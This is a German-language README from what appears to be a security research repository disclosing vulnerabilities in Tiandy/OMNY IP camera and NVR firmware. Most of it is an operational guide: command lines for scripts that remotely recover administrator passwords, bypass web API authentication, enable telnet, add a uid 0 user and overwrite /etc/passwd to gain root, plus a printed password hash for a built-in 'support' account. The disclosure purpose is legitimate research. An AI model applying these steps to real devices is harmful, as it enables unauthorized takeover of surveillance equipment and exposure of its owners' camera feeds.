
Dieses Repository enthält die Ergebnisse meiner Forschung vom August 2020 zur Firmware von Tiandys IPC/NVR-Geräten. Ich habe zwei Sicherheitslücken gefunden, die genutzt werden konnten, um das Administrator-Passwort remote wiederherzustellen und Root-Zugriff auf das Gerät zu erlangen.
Dieses Repository enthält die Ergebnisse meiner Recherche aus August 2020 über Tiandys IPC/NVR-Firmware (diese Geräte werden auch als OMNY verkauft). Diese „Recherche“ war nicht erschöpfend, aber ich habe mehrere Methoden gefunden, um das Administrator-Passwort aus der Ferne wiederherzustellen, Telnet zu aktivieren und das Root-Passwort zu ändern.
Es ist schwer zu sagen, welche Versionen genau betroffen sind, da wir nur die neueren herunterladen können. Alle diese herunterladbaren Versionen sind betroffen:
DVRS_V9.12.7.20200422
DVRS_V11.7.4.20200721
NVSS_V13.6.1.20200723
NVSS_V22.1.0.20200722
Es gibt nicht nur verschiedene Zweige für verschiedene Geräte, sondern einige Komponenten werden separat versioniert und aktualisiert, wie zum Beispiel die Web-API, bei der ich eine Authentifizierungsumgehung gefunden habe, die nur für Versionen funktioniert, die seit Mitte 2019 veröffentlicht wurden, unabhängig von der Firmware-Versionsnummer. Falls du mehr über betroffene Versionen weißt, freue ich mich über deine Hilfe.
Ich betreibe hier vollständige Offenlegung, aber das ist angemessen. Ein Patch vom Anbieter (unwahrscheinlich, da sie nicht reagieren) würde das Problem nicht verschwinden lassen, besonders wenn keine online erreichbaren Geräte die neueste Firmware haben (nicht einmal annähernd). Die eigentliche Schwachstelle ist, dass diese Geräte dem Internet ausgesetzt sind. Und das ist etwas, das Endbenutzer beheben müssen, nicht Tiandy.
Als Bonus füge ich auch den Firmware-Entpacker und einige Informationen dazu bei, wie man über RTSP/RTMP auf die Streams zugreift (viel Glück beim Finden davon im Handbuch).
Zuerst stelle ich die Skripte vor:
Dann versuche ich kurz zu erklären, was diese Skripte tun und warum. Ich wiederhole den Code nicht, aber ich versuche, genug Kontext zu liefern, damit du den Code verstehst:
Schließlich wird es etwas technischer:
Du brauchst Python 3 mit PyCrypto.
Versuche zuerst recover.py. Dafür muss Port 3001 erreichbar sein:
python3 recover.py [HOST]
Wenn alles gut läuft, werden die Administrator-Zugangsdaten ausgegeben.
Falls dieser Port nicht erreichbar ist, könnte der Web-Port funktionieren. Dafür wird die URL benötigt:
python3 cgi_recover.py http://123.45.67.89
python3 cgi_recover.py https://123.45.67.89
Wenn keiner der obigen Wege funktioniert, prüfe, ob Telnet aktiviert ist. Falls ja, kannst du das Gerät direkt rooten – knacke einfach diesen Hash:
support:$1$$AErA9BQgLjrxTJB1748k71:501:501:Linux User,,,:/home/support:/bin/sh
(öffne auf jeden Fall einen PR, falls du ihn tatsächlich knackst :D)
In älterer V7-NVR-Firmware kannst du direkt Befehle ausführen:
python3 ftpupdate.py [host] [adminpass] '[cmd]'
allerdings gibt es keine Ausgabe zurück. Um das zu vereinfachen, habe ich diese Abkürzung eingebaut:
python3 ftpupdate.py [host] [adminpass] adduser [username] [password]
Das fügt einen weiteren Benutzer mit uid 0 hinzu.
Aktiviere zuerst Telnet mit:
python3 telnet.py [host] [adminpw]
oder bei neueren Geräten:
python3 cgi_recover.py [host] telnet
Dann kannst du /etc/passwd überschreiben (ich gehe davon aus, dass du weißt, wie das funktioniert). Versuche zuerst filetransport.py (für NVRs):
python3 filetransport.py [host] [adminpass] put /etc/passwd <[source_file]
das gibt keine Rückmeldung; du musst es testen, indem du dich anzumelden versuchst ...
Für IPC-Modelle, bei denen filetransport.py nicht funktioniert, versuche upgrade_rw.py:
python3 upgrade_rw.py [url] [adminpass] /etc/passwd <[source_file]
(das gibt ebenfalls keine Rückmeldung)
Schließlich kann das bei noch neueren Geräten auch über die Web-API erfolgen:
python3 cgi_recover.py [url] write /etc/passwd <[source_file]
Falls keiner der obigen Wege funktioniert hat (prüfe, ob du dich anmelden kannst), versuche alle Methoden erneut, aber überschreibe stattdessen /config/etc/passwd. In manchen Firmware-Versionen ist /etc/passwd ein Symlink dorthin. Schließlich kannst du auch versuchen, /tdfs/etc/passwd zu überschreiben, aber danach ist möglicherweise ein Neustart des Geräts erforderlich. Verwende zum Neustarten:
python3 reboot.py [host] [adminpass]
Die alte V7-Firmware (IPC und NVR) scheint nicht betroffen zu sein, aber wenn du das Administrator-Passwort hast, gibt es für NVRs eine authentifizierte RCE (ftpupdate.py), und für IPCs kann das Skript upgrade-rw.py verwendet werden, um /etc/passwd zu überschreiben.
Spätere Versionen der NVR-Firmware (V9 und V11) enthalten ein Standardkonto, das in Kombination mit einer „passiven“ Privilegienausweitung die Wiederherstellung des Administrator-Passworts ermöglicht. Danach können wir /etc/passwd mit filetransport.py überschreiben.
Während das Standardkonto in der IPC-Firmware nicht vorhanden ist, taucht eine weitere Wiederherstellungsmethode auf – die PSW-Methode. Das ist ein Mechanismus zur Passwort-Wiederherstellung ganz ohne Sicherheit. Er ist in allen herunterladbaren Firmware-Versionen seit V9 vorhanden. Während filetransport.py nur auf NVRs funktioniert, erreicht upgrade_rw.py denselben Zweck auf IPCs, indem es den Upgrade-Mechanismus nutzt, sodass wir trotzdem Root-Zugriff erhalten.
Die Firmware von 2019 führt einen weiteren Angriffsvektor ein – eine Authentifizierungsumgehung über die Web-API. Indem wir die Konfigurationsdatei ohne Authentifizierung exportieren, können wir das Passwort wiederherstellen und ein Upgrade-Paket vorbereiten, um beliebige Dateien zu überschreiben.
Was Schwachstellen betrifft, gibt es vier davon:
Beachte, dass ich die „Cloud“-Funktionen nicht untersucht habe, d. h. ob es möglich ist, Geräte zu enumerieren und sich dadurch mit Geräten zu verbinden, die nicht im Internet freigegeben sind (wie es bei Xiongmai-Geräten der Fall ist).
In alten Versionen ist Telnet standardmäßig aktiviert, und genau das finden wir in der Datei /etc/passwd:
support:$1$$AErA9BQgLjrxTJB1748k71:501:501:Linux User,,,:/home/support:/bin/sh
(Das Root-Passwort wird dynamisch aktualisiert; außerdem habe ich diesen Hash nicht geknackt, also sind Pull Requests mehr als willkommen :D)
Der Benutzer support (der eigentlich in allen Firmware-Versionen vorhanden ist) mag unprivilegiert erscheinen, aber natürlich hat dieser Benutzer genügend Rechte, um das Admin-Passwort zu lesen und weltweit beschreibbare Init-Skripte in /etc/init.d zu überschreiben oder sogar neue zu erstellen :)